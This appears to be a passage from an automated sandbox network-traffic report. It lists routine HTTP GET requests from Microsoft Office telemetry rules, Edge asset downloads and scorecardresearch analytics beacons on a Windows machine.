Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1731803929042&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=314D2D5C8D2F66E331EB38668C2767E8&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731803929042&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=314D2D5C8D2F66E331EB38668C2767E8&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1DB9b3d5ce514c39648b6ff1731803931; XID=1DB9b3d5ce514c39648b6ff1731803931
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
